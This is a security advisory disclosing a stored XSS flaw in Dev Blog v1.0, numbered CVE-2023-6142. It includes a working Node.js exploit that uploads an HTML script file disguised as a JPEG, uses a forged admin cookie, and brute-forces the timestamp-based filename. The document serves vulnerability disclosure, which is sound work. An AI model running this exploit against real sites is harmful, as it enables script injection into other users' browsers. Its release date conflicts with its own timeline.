Dev Blog v1.0 - Stored XSS

Summary

NameDev Blog v1.0 - Stored cross site scripting
Code name
ProductDev Blog
Affected versionsv1.0
StatePublic
Release date2023-04-10

Vulnerability

KindStored cross-site scripting (Stored XSS)
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L
CVSSv3.1 Base Score6.4
Exploit availableYes
CVE ID(s)

Description

Dev blog v1.0 allows to exploit an XSS through an unrestricted file upload, together with a bad entropy of filenames. With this an attacker can upload a malicious HTML file, then guess the filename of the uploaded file and send it to a potential victim.

Vulnerability

A Stored cross-Site scripting (XSS) vulnerability has been identified in Dev blog, which allows an attacker to attacker to execute arbitrary JS code in the browser of any user of the application.

Exploit

exploit.html

<script> alert(1) </script>

exploit.js

const FormData = require('form-data'); const axios = require('axios'); const fs = require('fs'); const url = 'http://127.0.0.1:3000/admin/add'; const formData = new FormData(); formData.append('title', 'junk'); formData.append('subtitle', 'junk'); formData.append('image', fs.createReadStream('./exploit.html'), { filename: 'exploit.html', contentType: 'image/jpeg' }); formData.append('content', 'junk'); const config = { headers: { ...formData.getHeaders(), 'Content-Length': formData.length, 'Cookie': 'user=admin', }, }; initialDate = Date.now() axios.post(url, formData, config) .then((response) => { endDate = Date.now() const baseUrl = 'http://127.0.0.1:3000/images/'; const fileExtension = '.html'; for (let currentTime = initialDate; currentTime <= endDate; currentTime += 1) { const badUrl = `${baseUrl}${currentTime}${fileExtension}`; fetch(badUrl) .then(response => {
          if (response.ok) {
            console.log("The file name is: " + badUrl);
          }
        })
    }
  })

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-6142 to refer to this issue from now on.

System Information

  • Version: Dev Blog v1.0

  • Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/Armanidrisi/devblog/

Timeline

Time-lapse-logo

2023-11-14

Vulnerability discovered.

Time-lapse-logo

2023-11-14

Vendor contacted.

Time-lapse-logo

2023-11-14

Vendor Confirmed the vulnerability.

Time-lapse-logo

2023-11-15

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.